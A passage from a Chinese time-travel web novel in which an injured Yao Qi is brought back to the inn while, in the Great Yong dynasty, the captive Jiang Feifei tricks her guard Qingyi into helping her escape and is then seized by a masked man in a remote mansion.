钱老先生放下茶杯,苍老的脸上露出一抹了然,又带着几分不解: “这丫头,心思重了。她方才那些条件,看似狮子大开口,实则……”他顿了顿,“更像是在拖延时间,或者说,是在给自己找一个看似合理的台阶。” “她是不是顾忌到孩子?”钱老先生猜测道,“毕竟,萧玦是小宝的亲生父亲。哪个母亲不希望孩子能有一个完整的家呢?” 秦绵绵闻言,皱眉道: “可我认识的朱七妹一向是个爽利的人,她力气比寻常男子还大,一个人带着小宝在鱼龙混杂的景区讨生活,什么苦没吃过?什么人没见过?她若真是个普通妇人,或许会为了孩子委曲求全。但七妹不是。” “她比谁都拎得清,萧玦那样喜怒无常、偏执残暴的父亲,对小宝而言,没有,远比有好。她之前能狠下心打晕萧玦,甚至动过更决绝的念头,就说明她早就看透了这一点。” 钱老先生微微颔首,秦绵绵的分析不无道理。 “那她这三番两次的‘优柔寡断’,又是为何?”钱老先生疑惑道,“萧玦虽然势大,但这里毕竟是海城,有我们在,她若真心想摆脱,并非全无机会。” 秦绵绵的目光投向窗外。 “她这么做,一定有更深层的原因……一个让她不得不暂时妥协,甚至不惜用这种方式来周旋的原因。这个原因,恐怕比萧玦的威胁本身,更让她忌惮。” 她沉吟片刻,眼中闪过一丝精光: “我们先按兵不动,看看她接下来想做什么。也看看萧玦,三天后会拿出什么样的‘诚意’。” …… 两天后的午后,客栈门外响起一阵不同寻常的汽车引擎声。 秦绵绵闻声抬眸,便见一辆黑色的轿车停在了客栈门口,车牌是陌生的京城牌照。 车门推开,先下来的是一个穿着打扮都透着几分张扬的年轻男人,头发梳得一丝不苟,衣着光鲜。 他紧张地扫了一眼客栈的招牌,这才拉开了后座的车门。 接着一个胖胖的年轻男人快速奔了出来。 仔细一看,竟然是罗小胖! 许久不见,罗小胖瘦了好多,整个人的精气神也没那么足了,像是被霜打过的茄子,蔫头耷脑,但看见秦绵绵,眼睛里总算有了点光彩: “小秦丫头!我回来了!” 紧接着,他和那个年轻男人合力,小心翼翼地从车里扶出了一个人。 秦绵绵瞳孔骤然一缩。 姚祁! 他浑身缠着渗血的绷带,脸色苍白如纸,嘴唇干裂,整个人虚弱得仿佛一阵风就能吹倒,几乎是被人架着才能勉强站立。 钱老先生恰好从后院踱步出来,一眼看到姚祁这副模样,老人家如遭雷击,手里的拐杖“哐当”一声掉在地上。他三步并作两步冲了过去,声音都在发颤:“阿祁!我的孩子!” 钱老先生眼圈瞬间红了,扶着姚祁的手都在抖。 他顾不得多问,立刻回头冲着身后的保镖吼道:“快!备车!去仁和医院!把我那套最好的医疗设备都给我用上!” 保镖们不敢怠慢,立刻行动起来。 秦绵绵也快步上前,扶住姚祁另一边胳膊,入手只觉得他瘦得只剩一把骨头,身上还带着淡淡的血腥气和药味。 姚祁似乎察觉到是她,努力睁开肿胀的眼皮,对着她虚弱地扯了扯嘴角,想笑,却牵动了伤口,疼得他倒抽一口凉气。 “别说话,先去医院。”秦绵绵沉声道。 将姚祁送上钱老先生的专车,由钱老亲自陪同火速赶往医院后,秦绵绵这才看向罗小胖和那个年轻男人。 那个年轻男人不是别人,正是上次追星房小雪的私生饭,京城医药世家的小儿子,李一鸣。 后来还教过云承月剖尸的那位纨绔子弟。 秦绵绵却没想到竟然是他把罗小胖和姚祁两人送了回来。 “到底怎么回事?” 两人进了客栈大堂,罗小胖灌了一大杯水,才缓过劲来,一五一十地把事情说了。 原来,萧玦在京城的势力确实盘根错节,确实厉害。 他不知用了什么法子,竟说动了罗小胖的父母,只说海城这边有桩喜事——朱七妹要嫁人了,让罗小胖回来凑个热闹,顺道“接”姚祁一起。 罗父罗母对上萧玦这种人物,只能把罗小胖放了出来。 第237章 你受苦了 “萧玦那孙子,还假惺惺地说怕我一个人照顾不好姚祁,怕姚祁在路上出什么岔子,特地派了……呃,这位兄弟,陪我们一起回来。” 罗小胖指了指旁边的李一鸣。 李一鸣有些不自在地清了清嗓子,对秦绵绵露齿一笑。 秦绵绵点点头:“一路上辛苦了。” “不辛苦不辛苦!”李一鸣挠了挠头,小声嘀咕了一句,“其实……其实我这次来海城,主要也是……也是想看看房小雪……” 秦绵绵眉梢微挑,瞥了他一眼。 李一鸣立刻挺直了腰板,举手作发誓状: “秦小姐您放心!我就是看看!如果小雪她……她不想见我,我保证掉头就走,绝不纠缠!” 那副急于表白心迹的模样,倒有几分滑稽。 话音刚落,客栈大门外突然传来脚步声,房小雪提着一箱子冰镇酸梅汤走了进来。 “掌柜的,天气热,我煮了些酸梅汤给大家解解暑……” 她一抬头,正对上李一鸣那双骤然亮起的眼睛。 “小……小雪!”李一鸣像是被按了暂停键,整个人僵在原地,随即脸上爆发出巨大的惊喜,说话都有些结巴了,“你……你你……你还好吗?我……我那个……我……” 房小雪见到他,先是微微一怔,随即礼貌地笑了笑,将东西放在桌上: “李先生,你什么时候来的。喝杯酸梅汤吧。” 她的态度不疏远,却也谈不上热络,透着一股恰到好处的客气。 李一鸣被她这一声“李先生”叫得魂都快飞了,手忙脚乱地接过一杯酸梅汤,激动得脸都有些红了,嘴里颠三倒四地说着: “好……好喝!太好喝了!小雪你……你煮的酸梅汤,是全世界最好喝的!” 秦绵绵看着李一鸣那副模样,再看看房小雪平静带笑的脸,笑着端起了一杯酸梅汤,轻轻呷了一口,冰凉甜润,确实沁人心脾。 李一鸣还在对着房小雪献殷勤,秦绵绵的目光从他们身上移开,落在了旁边一直沉默的罗小胖身上。 自从进了门,除了最初那句“小秦丫头!我回来了!”,罗小胖就一直没怎么说话。 他瘦了许多,原本圆滚滚的脸颊都有些凹陷,显得眼睛更大了。 “哎,罗小胖,”秦绵绵放下杯子,“这段日子,你也受苦了。” 罗小胖像是被这句话触动了某个开关,眼圈一下子就红了。 他猛地抬眼看向天花板,深深叹口气。 “小秦丫头……我……我对不住你……客栈出了这么多事,你一个人撑着……我却跑了……” 秦绵绵静静地看了他半晌,末了,突然啐了一口: “说什么胡话。我们之间还需要说这种话吗……我知道这不是你的本意,你也不用说这种废话。” 罗小胖一下子像被人在嘴里塞了个鸡蛋。 秦绵绵笑道:“以你罗小胖的性子,就算真是天塌下来了,只要我需要,你怕是连眉头都不会皱一下。真要让你临阵脱逃,除非是有人拿刀架在你脖子上……不用你说,我也知道,你肯定是被迫离开的,你再洒脱也不能不管父母吧。” 罗小胖怔怔地看着秦绵绵,嘴巴张了张,却一个字也说不出来。 “小秦丫头……”罗小胖吸了吸鼻子,那股酸涩直冲眼眶,他努力仰了仰头,想把那股湿意逼回去。 “我……我……” 他语无伦次,想说些什么,却发现喉咙像是被什么堵住了。 “不管怎么说,回来就好。”秦绵绵轻笑一声,递过去一张纸巾:“行了,大男人家家的,哭哭啼啼像什么样子。” 罗小胖接过纸巾,胡乱地在脸上一抹,接着突然跳起来: “我……我去做饭!你们肯定饿了!我不在这么久,你们都得好好补补!” 他说完,像是怕秦绵绵再看到他的窘迫,转身飞也似的逃了。 很快,后厨便传来了熟悉的切菜声和锅铲碰撞的声响,伴随着隐约的油烟香气,给这几日略显沉闷压抑的客栈,重新注入了一丝鲜活的人间烟火气。 …… 傍晚时分,钱老先生的电话打了过来,声音带着几分疲惫,但总算不是先前那种焦灼。 “阿祁的伤势稳住了。医生说虽然看着吓人,浑身没几块好皮肉,但所幸萧玦那厮没下死手,都是皮外伤,没伤到筋骨。只是失血不少,需要好好静养一段时日,朱七妹的婚礼,怕是赶不上了。” 秦绵绵握着电话,听着钱老先生的絮叨,目光却飘向窗外渐渐暗下来的天色。 婚礼? 她心中冷笑一声,只怕任何人都参加不了这场所谓的婚礼。 不知为何,她有一种强烈的预感,朱七妹那看似妥协的条件,萧玦那志在必得的“诚意”,所有的一切,都像是一根绷得极紧的弦,而接下来发生的事情,很有可能会彻底失控,脱离所有人的预想。 …… 另一处时空,大雍王朝。 裴应见的身影悄然出现在侯府书房。 他甫一站定,周身的迷雾尚未完全消散,便径直打开机关,朝着最里间那间终年不见天日的密室走去。 推开厚重的石门,内里幽暗,借着门外透进的微光,能看见一方石床,几件简陋的用具。 然而,石床上空空如也。 那个本该被囚禁于此的女人,不见了踪影。 负责看守此处的青义,也不见了。 裴应见的脸色骤然沉了下来。 姜飞飞的狡猾远超他的预料,竟能在他的眼皮子底下逃脱。 “来人!封锁彻查!青义和里面关押的女人,活要见人,死要见尸!” “是!”亲卫领命,立刻行动起来。 裴应见站在空荡荡的密室中央,眼神晦暗不明。 他记得离开前,曾特意叮嘱过青义,这女人诡计多端,务必严加看管。 看来青义还是着了她的道。 …… 几日前。 青川奉命看守这间密室。 侯爷离去前曾严厉告诫,里面关押的女人狡猾无比,且身份特殊,绝不能出任何差池。 青义更是打起了十二万分的精神。 然而头几日,姜飞飞却并不如侯爷所说,反而尽显柔弱之态。 第238章 攻心 她大部分时间都在昏睡,偶尔醒来,便是低声啜泣,要么就是蜷缩在石床角落,瑟瑟发抖,完全看不出半点“狡猾”的模样。 这一日,天气突然转凉,密室中更是阴寒。 姜飞飞突然蜷在地上,不住地发抖,牙齿打颤,哭着哀求:“好冷……我好冷……求求你,给我件衣服……我好像发烧了……” 她的声音嘶哑,带着浓重的鼻音,听起来确实像是病得不轻。 青义站在门外,透过门上小小的观察孔看着她,面无表情,并未理会。 侯爷有令,除了送饭送水,不得与她有任何多余接触。 姜飞飞见无人应答,哭得更凶,一声声“冷”和“救命”在空寂的密室中回荡,听着着实可怜。 她开始胡言乱语,一会儿喊父母,一会儿又说些听不懂的胡话。 青义毕竟年轻,虽受过严格训练,但看着一个女人这般凄惨,心中那点恻隐之心终究还是被勾了起来。 他想,不过是一件衣服,她一个手无缚鸡之力的弱女子,又能翻出什么浪花? 犹豫再三,他还是找了一件自己替换下来的外袍,想着扔进去给她便罢。 他打开了密室沉重的门锁,推开一道仅容一人通过的缝隙,将衣服递了进去:“穿上吧,别再吵了。” 谁知,姜飞飞像是抓住了救命稻草,颤巍巍地伸手去接衣服,脚下却一个踉跄,整个人竟直直地朝着青义怀里扑了过来。 一股幽香混杂着女子温软的身体撞入怀中。 青义登时浑身一僵,他不过是个刚成年的毛头小子,何曾与女子有过这般亲密的接触? 一时间脑中空白,只觉得入手一片柔软,心跳都漏了半拍,脸上瞬间涨得通红。 他下意识地想要推开她,又怕她真的是生病站不稳,再摔出个好歹。 “多……多谢……”姜飞飞的声音在他耳边响起,带着一丝病弱的沙哑,气息若有若无地拂过他的颈侧。 青义一个激灵,猛地反应过来,怕她作妖,急忙将她推开。 姜飞飞被他推得退后两步,却并未纠缠,只是顺势接过了那件外袍,紧紧裹在身上,低着头,又老老实实地缩回了石床角落,嘴里还喃喃道: “谢谢……谢谢……” 那副乖顺柔弱的样子,倒让青义心头那点警惕松懈了几分,甚至还有些许意外和一丝莫名的愧疚,觉得自己方才是不是太粗鲁了。 夜深了。 密室外,青义抱着剑靠墙而立,耳朵却不由自主地竖着,听着里头的动静。 起初是细细碎碎的呜咽,后来变成了压抑的咳嗽,再后来,便是有些含糊不清的呓语,夹杂着“冷”、“别打了”之类的话。 青义皱了皱眉。 白日里那女人扑进怀里的触感似乎还残留在手臂上,温香软玉,让他有些心烦意乱。他强迫自己不去多想,可那断断续续的呻吟和求救,却像小虫子似的,一下下往他耳朵里钻。 终于,一声压抑不住的痛呼伴随着重物倒地的闷响传来。 青义心中一紧,再也按捺不住,几步上前,推开了观察孔的挡板。 借着墙壁上油灯的微弱光芒,只见姜飞飞蜷缩在冰冷的石板地上,身体不住地发抖,额头上满是冷汗,嘴唇干裂,脸色更是呈现出一种不正常的潮红。 “喂!”青义低喝一声。 姜飞飞像是没听见,依旧在无意识地呻吟。 青义犹豫了一下,终究还是打开了门锁。他快步走进去,伸手探了探姜飞飞的额头,滚烫一片。 是真的病了,而且烧得不轻。 侯爷的命令是严加看管,可没说要眼睁睁看着人烧死。若真出了人命,他也不好交代。 青义抿了抿唇,转身从自己随身携带的药囊里取出一颗退热的药丸,又倒了些水囊里的水,折返回来,有些粗鲁地将姜飞飞扶起,靠在墙上。 “张嘴。”他命令道。 姜飞飞迷迷糊糊地睁开眼,看到眼前模糊的人影,似乎有些畏惧地缩了缩。 “药。”青义言简意赅,将药丸和水递到她唇边。 或许是烧糊涂了,或许是求生的本能,姜飞飞竟也顺从地张开了嘴,由着他将药丸喂了进去,又喝了几口水。 做完这一切,青义将她重新放平在石床上,盖上了那件自己的外袍。 “多谢……”姜飞飞的声音细若蚊蚋,“你是……第一个……对我这么好的人……我……我记下了……” 青义动作一顿,没回头,也没应声,只是快步走了出去,重新锁好了门。 他靠在门外的墙上,听着里面渐渐平息下去的呼吸声,心情却愈发复杂。 接下来的两天,姜飞飞安分了许多,除了每日送饭送水,青义几乎听不到她别的动静。 这日,青义提着食盒进去,恰逢姜飞飞正在用木盆里仅有的一点水擦拭身体。 她背对着门口,听到动静,慌忙拉起衣衫。 但就在那衣衫拢起的一瞬间,青义眼尖地瞥见,她光洁的后背上,横七竖八地交错着几道深浅不一的疤痕,有的已经泛白,有的却还带着淡淡的粉色,像是新愈不久。 而她裸露在外的小臂上,也有几处类似的伤痕。 姜飞飞似乎察觉到了他的目光,猛地回过头,脸上带着一丝惊慌和羞窘,下意识地将手臂藏到了身后,低着头不敢看他,声音细细的:“我……我不是故意的……” 那副模样,倒像是做错了事的孩子,生怕被人责骂。 青义喉咙动了动,想问什么,最终还是把食盒往地上一放,冷声道:“吃饭。” 便转身出去了。 他却不知道,在他转身之后,姜飞飞低垂的眼眸中,闪过一丝几不可察的幽光。 此后,青义送饭的次数似乎比往常更频繁了些,有时甚至会多带一些干净的衣服或是伤药,默不作声地放在角落。 姜飞飞依旧不怎么说话,只是偶尔在青义放下东西转身欲走时,会低低地说一句:“谢谢。” 这日,青义又送了些干净的衣物进来,姜飞飞却忽然开口道:“你……你还是别对我这么好了。” 青义脚步一顿,回头看她。 第239章 我叫青义 姜飞飞苦笑了一下,眼神黯淡:“我是个不祥的人。凡是与我扯上关系,对我好的人,都没有什么好下场。你……还是离我远些吧。” 她的话语里透着一股认命般的绝望,听得青义心里莫名有些发堵。 又过了一日,天色阴沉,下起了淅淅沥沥的雨。 密室之中更显阴冷潮湿。 青义送饭进去时,便听见姜飞飞压抑的低哼声,她抱着双腿蜷缩在石床上,脸色苍白,额上渗着细密的汗珠,整个人都在微微发抖。 “你怎么了?”青义终于还是忍不住开口问了。 这么多天,这是他第一次主动问她除了“吃饭”以外的话。 姜飞飞抬起头,勉强对他笑了笑,那笑容比哭还难看:“没什么……老毛病了,一到阴雨天就犯。不碍事的。” 她越说没事,青义越觉得不对劲。 他上前一步,目光落在她紧紧抱着的双腿上。 姜飞飞似乎察觉到他的意图,下意识地想将腿藏得更深些,却被青义一把抓住了脚踝。 姜飞飞惊呼一声,想要挣扎。 青义手上用力,不容她反抗,直接将她的裤腿往上一捋。 霎时间,他倒吸一口凉气。 只见那纤细的小腿上,布满了狰狞交错的伤疤,有烙铁烫伤的圆形疤痕,有刀割的条状疤痕,还有一些深可见骨的旧伤,已经结成了凹凸不平的肉瘤,在昏暗的光线下显得格外触目惊心。 这绝不是寻常人家会有的伤! 这分明是遭受过非人虐待才会留下的痕迹! 青义只觉得一股怒火直冲头顶,他猛地抬眼看向姜飞飞,声音都有些发颤: “这……这是谁干的?!” 姜飞飞看着他眼中毫不掩饰的震惊和愤怒,先是一愣,随即凄然一笑,缓缓放下了裤腿,声音带着一丝自嘲和悲凉: “呵……没想到,这世上第一个真正为我这些伤动怒,关心我疼不疼的,竟然……竟然是你这个奉命看守我的人。” 姜飞飞那双含着水汽的眸子,就那样直勾勾地望着青义,带着一丝仿佛看透世情的苍凉。 青义被她看得心头一跳,下意识地避开了她的目光,声音有些干涩:“你……你到底是什么人?为何会被……被我家主人关在这里?” 姜飞飞凄然一笑,那笑容如同风中残烛,摇摇欲坠: “我是谁?我不过是个被命运捉弄的可怜人而已。至于你家主人为何要关我……”她顿了顿,眼中闪过一丝怨毒,却又很快被哀伤掩盖,“大约,是因为我碍了某些人的眼,挡了某些人的路吧。” 她没有明说,青义却很快猜到。 “你是说……秦姑娘?”青义试探着问。 “就是她。但你知道吗,其实是她抢了我的人生。我才应该是金尊玉贵的大小姐,而本来应该受这些苦的人,是她。我替她受了这么多的苦,我想讨回,有错吗?”姜飞飞垂下眼帘,长长的睫毛在眼睑下投下一片阴影,“秦绵绵……她如今风光无限,有你家主人这样的人物护着,自然是容不下我活在世上。” 她抬起头,眼中蓄满了泪水,却强忍着不让它落下: “我知道,我活不了多久了。你家主人不会放过我的……只是我不甘心,就这么不明不白地死了。” 她看着青义,声音轻得像一阵风:“小哥,你是个好人。这些天,多谢你的照顾。我……能不能知道你的名字?黄泉路上,也好记得曾经有过这么一个人,给过我一丝温暖。” 青义心中百感交集。 他看着姜飞飞苍白的面容,看着她眼中那抹绝望,喉咙有些发紧:“我叫青义。” “青义……”姜飞飞轻轻念着这个名字,像是要把它刻在心上,“好名字。青天有义……若有来生,我希望也能遇到像你这样,心怀正义的人。” 青义张了张嘴,想说些什么,却又不知道从何说起。 他觉得姜飞飞很可怜,那些伤疤触目惊心,不似作伪。 他甚至觉得,或许侯爷这次真的错了,不该如此对待一个弱女子。 “这些……这些事,或许并非你的错。”青义低声道。 姜飞飞却只是摇了摇头,脸上露出一抹疲惫的苦笑,不愿再多言。 第二日,阴雨依旧淅淅沥沥地下着,密室中的寒气更甚。 姜飞飞的腿疼得愈发厉害,整个人蜷缩在石床上,不住地呻吟,额头上冷汗涔涔。 青义送饭进去的时候,看到她这副模样,眉头紧紧皱了起来。 他想起昨日她腿上那些狰狞的伤疤,心中那点恻隐之心再次被无限放大。 他犹豫了片刻,终究还是咬了咬牙,沉声道:“这里太潮湿了,对你的伤不好。我……我把你换到柴房去吧,那里至少干燥些。” 姜飞飞闻言,有些惊讶地抬起头,眼中闪过一丝难以置信的光芒:“柴房?你……你肯放我出去?” “只是换个地方关着,你别多想。”青义板着脸,语气生硬,却还是上前将她扶了起来。 姜飞飞顺从地靠在他身上,身体的重量几乎都压了过来,口中喃喃道:“谢谢你,青义……谢谢你……” 青义将她安置在后院一间堆放杂物的柴房内,虽然简陋,但比起阴暗潮湿的密室,确实好了许多。 他还找来一些干净的稻草铺在地上。 做完这一切,他锁好柴房的门,心中却有些惴惴不安。 他知道自己这是违背了侯爷的命令,若是被发现,后果不堪设想。 但他看着姜飞飞那痛苦的模样,实在狠不下心。 不久,青义提着食盒再次来到柴房。 他推开柴房门,唤了一声:“姑娘,吃饭了。” 里面却无人应答。 青义心中一突,迈步走了进去。 就在他踏入柴房的瞬间,只觉得后颈突然一痛,眼前一黑,整个人便软软地倒了下去。 在他失去意识前,似乎看到一个模糊的身影从他身上摸索着什么。 不知过了多久,青义悠悠转醒。 后颈的疼痛让他呲了呲牙,他猛地坐起身,环顾四周。 柴房内空空如也,哪里还有那女人的身影! 第240章 神秘大宅 他下意识地摸向腰间——腰牌不见了! “糟了!”青义脸色煞白,额上瞬间冒出冷汗。 他连滚爬地冲出柴房,也顾不上向任何人禀报,他知道自己闯了大祸,若是让侯爷知道,他这条小命怕是保不住了。 他只能寄希望于在侯爷回来之前,将姜飞飞抓回来。 青义强作镇定,开始在侯府内悄悄搜寻,却哪里还有姜飞飞的踪迹。 与此同时,姜飞飞正凭借着从青义身上偷来的腰牌,又在厨房顺手牵羊偷了一套厨娘的粗布衣衫换上,低着头,尽量避开巡逻的护卫,有惊无险地混出了戒备森严的侯府。 当她真正站在侯府门外,看着眼前完全陌生的街道和建筑时,整个人都懵了。 飞檐斗拱,青砖黛瓦,街上行人皆是宽袍大袖,发髻高束,偶尔还有马车驶过,扬起一阵尘土。 这不是什么她以为的影视城! 这根本不是她熟悉的世界! 一个荒谬却又无比清晰的念头在她脑海中炸开——她,姜飞飞,可能真的……穿越了! 难怪。 难怪裴应见和秦绵绵能在风暴中活下来,又凭空出现在船上。 那个姓裴的……或许根本就不是这个时代的人! 这个认知让她浑身冰冷,手脚都有些发软。 她来不及消化这惊天动地的发现,也来不及去想更多,求生的本能让她拔腿就跑。她不知道该往哪里跑,只能拼命地朝着人少偏僻的方向跑去。 天色渐渐暗了下来。 当她气喘吁吁地停下脚步时,发现自己已经跑出了城,来到了一处荒凉的城郊。 四周是黑黢黢的树林,偶尔传来几声不知名的鸟叫和虫鸣,让她毛骨悚然。 又冷又饿,嗓子眼干得快要冒烟。 她扶着一棵树,绝望地四下张望,突然,不远处的密林边缘,隐约看到了一处宅院的轮廓。 她心中一喜,像是抓住了救命稻草,踉踉跄跄地朝着那宅院摸索过去。 走近了才发现,那是一座颇为奇特的宅院,占地不小,却被高高的围墙圈着,墙体斑驳,透着一股说不出的古怪和阴森。 大门紧闭,门上也没有灯笼。 姜飞飞犹豫了一下,她现在又渴又饿,而且天越来越黑,周围随时可能有野兽出没。 她咬了咬牙,上前几步,抬手在那朱漆斑驳的大门上轻轻敲了敲。 “咚、咚、咚。” 敲门声在寂静的夜里显得格外清晰。 然而,无人应答。 就在姜飞飞失望地准备离开时,那扇沉重的木门,却“吱呀”一声,自己缓缓地……打开了。 姜飞飞心头一凛。 她深吸一口气,强压下心中的不安,试探着朝里走了几步。 院内空旷寂静,除了几棵歪脖子老树,便只有四面高得离谱的围墙,将这方天地圈得如同一个巨大的囚笼。月光惨白,照在斑驳的墙面上,投下幢幢鬼影。 “有人吗?”姜飞飞试探着喊了一声,声音在空荡的院子里显得格外突兀,却没有任何回应。 她越发觉得不对劲,转身就想往外跑。 就在她转身的刹那,“砰——”的一声巨响,身后那扇原本敞开的大门,竟猛地合上了! 姜飞飞吓得魂飞魄散,尖叫一声扑过去,拼命地拍打着门板:“开门!开门啊!” 门板纹丝不动,像是铸铁一般沉重。 “救命!有没有人啊!”她声嘶力竭地呼喊,回应她的只有呼啸而过的夜风,卷起地上的枯叶,发出沙沙的声响,更添几分阴森。 就在姜飞飞绝望之际,院子深处,突然传来一阵轻微的“骨碌碌”声。 那声音由远及近,不疾不徐,在寂静的夜里清晰可闻。 姜飞飞猛地止住了哭喊,惊疑不定地望向声音传来的方向。 只见一个模糊的黑影,从一株老树后缓缓驶出,竟是一张轮椅。 轮椅上坐着一个人,脸上戴着一张狰狞的青铜面具,遮住了大半张脸,只露出一双深不见底的眼睛。更让她心惊的是,那人……只有一条手臂,一条腿。 姜飞飞脑中“嗡”的一声,一个念头闪过——哥哥! 她的亲哥哥,也是这般残缺!也是这般坐在轮椅上! “哥……哥?”她试探着,带着一丝不敢置信的狂喜,朝着那轮椅踉跄地奔了过去。 然而,越是靠近,她心中的那点喜悦便迅速冷却,取而代之的是一种彻骨的寒意。 不对! 虽然同样是独臂独腿,但她哥哥残的是左手左脚,而眼前这人,分明是右手右脚! 而且,这人身上散发出的那股阴戾之气,虽然与她哥哥萧玦如出一辙,却又带着一种更加纯粹的、令人毛骨悚然的邪恶。 轮椅在她面前停下,面具后的那双眼睛,如同两潭深渊,静静地注视着她。 “你方才,叫我什么?”沙哑低沉的声音从面具后传来,像是砂纸摩擦过骨头。 姜飞飞心头巨震,强压下翻涌的恐惧,脸上挤出一个比哭还难看的笑容:“我……我认错人了……您……您长得很像我的一位故人……我哥哥……” 她飞快地组织着语言,眼泪说来就来,瞬间便蓄满了眼眶:“我……我迷路了,又冷又饿,求求您发发善心,收留我一晚……我……我什么都能做……” 她一边说,一边小心翼翼地观察着男人的反应。 男人没有立刻说话,只是那双眼睛在她身上缓缓扫过,那目光带着一种令人不寒而栗的审视,仿佛在打量一件有趣的物品。 姜飞飞被他看得头皮发麻,心中警铃大作,直觉告诉她,眼前这个人,比萧玦还要危险百倍! 不能再待下去了! 她脑中只剩下这一个念头,猛地转身,拔腿就想往大门的方向跑。 然而,她刚迈出一步,便觉得一股无形的大力从身后传来,整个人不受控制地被猛地向后一扯! “啊——”姜飞飞尖叫一声,身体轻飘飘地飞了起来,竟被那男人隔空吸了过去,像拎小鸡一样拎在了手里。 “想跑?”男人低沉地笑着,那笑声阴测测的,让人头皮发炸,“进了我的地方,还想跑?” 第241章 三十鞭 他单手拎着姜飞飞,推着轮椅,朝着院子深处一间最大的屋子走去。 姜飞飞在他手中拼命挣扎,却如同蚍蜉撼树,根本无济于事。 男人推开那间大屋厚重的木门,随手便将姜飞飞扔了进去。 “砰”的一声,姜飞飞重重摔在冰冷的地上,只觉得五脏六腑都错了位。 “呵……”男人站在门口,居高临下地看着她,面具后的声音带着一丝兴奋与残忍,“你的体格……十分特异。比月娘还要好上几分。希望你能活下来,我很期待……对你的改造。” 他说完,便“吱呀”一声,关上了房门,外面传来落锁的声音。 姜飞飞顾不上疼痛,从地上一跃而起,扑到门边,却发现门已经被从外面锁死。 她回过神来,这才发现屋子里漆黑一片,伸手不见五指,只有一丝微弱的月光从高高的窗棂透进来,勉强能视物。 空气中弥漫着一股浓重的血腥味和腐臭味,让她几欲作呕。 这是什么地方? 那个男人说的“月娘”是谁?“改造”又是什么意思? 恐惧如同潮水般将她淹没。 就在这时,黑暗中,似乎有什么东西动了一下。 姜飞飞浑身一僵,屏住了呼吸,努力地睁大眼睛,试图看清黑暗中的一切。 渐渐地,她适应了这片黑暗。 然后,她看见了。 在屋子最深处的角落里,亮起了……一双幽绿色的,野兽般恐怖的眼睛! …… 夜色如墨,侯府书房内灯火通明。 青义失魂落魄地跪在冰冷的地面上,头深深垂着,连大气也不敢出。 他甚至不敢去看主座上裴应见那张阴沉得能滴出水来的脸。 “人,跑了?”裴应见的声音不高,却像淬了冰的利刃,一字字剐在青义心上。 “属下……属下无能!” 青义咬着牙,将姜飞飞如何装病示弱,如何博取同情,又如何趁他不备将他打晕夺走腰牌逃脱的经过,一五一十地禀报了。 他不敢有丝毫隐瞒,也不敢为自己辩解半句。 他描述着姜飞飞那些凄惨的哀求,那些让人心头发颤的哭诉,以及那看似无害的柔弱。 裴应见静静地听着,面无表情,唯有那双深邃的眸子,风暴凝聚,愈发幽暗。 “所以,你便信了?” “属下……属下见她身上的伤痕……不像作假……她哭诉自己发烧,又说天冷……”青义的声音越来越低,他知道这些都不是理由。 “呵。”裴应见发出一声极轻的冷笑,那笑意却比任何斥责都来得令人心悸,“妇人之仁。本侯留她性命,自有道理。你倒是替她想得周全。” “侯爷!属下知错!属下罪该万死!”青义猛地磕下头去,额头撞在坚硬的青石板上,发出沉闷的声响,“求侯爷责罚!” 裴应见眼神一凛:“自己去刑房,你知道规矩。再有下次,本侯要的,便不止是你的皮肉了。” “是!谢侯爷!”青义如蒙大赦,重重磕了个头,连滚带爬地退了出去。 刑房内阴冷潮湿,弥漫着一股淡淡的血腥气。 青义咬着牙,褪去上衣,露出还带着几分少年稚气的脊背,双手紧紧抓住冰冷的刑架。 负责行刑的护卫是他平日里的同伴,此刻也只能板着脸,公事公办:“青义哥,得罪了。” 浸了水的牛皮鞭高高扬起,带着凌厉的风声,狠狠抽落! “啪!” 剧痛瞬间从背上传来,火烧火燎,几乎让他叫出声。 青义死死咬住嘴唇,不让自己发出半点声音。 一鞭,又一鞭。 规矩他很清楚,所以二话不说就领了三十鞭。 这才刚开始。 皮开肉绽的痛楚让他眼前阵阵发黑,汗水混着血水浸湿了衣裤。 恍惚间,他眼前似乎又浮现出姜飞飞那纤细的身体上,那些狰狞交错、新旧不一的伤疤。 那些烙印,那些刀痕……他当时心中的震惊和愤怒是真实的。他可以肯定,那些伤,绝不可能是假的。 一个女子,究竟要经历怎样的折磨,才会留下那样触目惊心的痕迹? 可她……她却利用了他的这份恻隐之心,毫不犹豫地欺骗了他,算计了他。 “啪!” 又一记重鞭落下,青义闷哼一声,身子剧烈地颤抖了一下。 是了,她是骗子,是个狡猾的女人。侯爷说得对,他不该有妇人之仁。 可那些伤…… 他心中既恨姜飞飞的欺骗,又无法全然抹去那一瞬间的怜悯与不忍。 这种矛盾让他痛苦不堪,却也让他觉得,这三十鞭,他受得不冤。 …… 当青义被拖回自己的房间时,已是人事不省。 书房内,青川躬身而立,神色凝重。 “侯爷,京城各处,包括城门口的盘查,都没有发现姜飞飞的踪迹。我们的人几乎翻遍了所有可能的藏身之处,她……就像凭空消失了一样。” 裴应见摩挲着拇指上的玉扳指,眼神晦暗。 “这世上,哪有那么多凭空消失的事。” 青川迟疑了一下,还是开口道:“侯爷,属下有个大胆的猜测……那姜飞飞,会不会……是回了她来的地方?” 他知道秦姑娘的来历特殊,这姜飞飞既然也被侯爷带来,或许也有同样的门道。 裴应见眸光微动:“她?没有本侯,她回不去。” 他站起身,走到窗边,负手而立,目光投向沉沉的夜色。 “她最后出现的地方,是何处?” “是城西一条偏僻的巷子,有咱们的人远远看到一个身形相似的女子从那里出来,行色匆匆。”青川立刻回道。 裴应见微微颔首,眼中闪过一丝决断。 他不会让任何脱离掌控的棋子,扰乱他的全局。 片刻之后,一道黑影悄无声息地离开了侯府,如鬼魅般融入夜色。 裴应见亲自循着那条偏僻的小巷而去。 月光下,巷子幽深,两侧是高耸的院墙,地上散落着些许枯叶。 他步履不快,目光却锐利如鹰,仔细观察着周围的每一处痕迹。 空气中,似乎还残留着一丝极淡的、属于姜飞飞身上的气息。 裴应见顺着这微弱的线索,一路向西,渐渐远离了繁华的城区。 第242章 高手过招 道路越发崎岖,人烟也愈发稀少。 当他穿过一片荒芜的树林,眼前豁然开朗。 月色之下,一座占地颇广的宅院静静矗立在不远处的密林边缘。 高高的围墙斑驳陆离,透着一股难以言喻的阴森与诡谲。 大门紧闭,门上没有任何灯火,在惨白的月光映照下,像一只择人而噬的巨兽,沉默地蛰伏在黑暗之中。 裴应见停下了脚步,狭长的眼眸微微眯起,审视着眼前这座透着不祥气息的神秘大宅。 直觉告诉他,姜飞飞,很可能就在里面。 裴应见立在暗影之中,周身寒气几乎与夜色融为一体。 这座大宅,处处透着古怪。 围墙过高,几乎不留任何瞭望的可能,与其说是防外人,不如说是囚困内里。 他没有选择叩门。 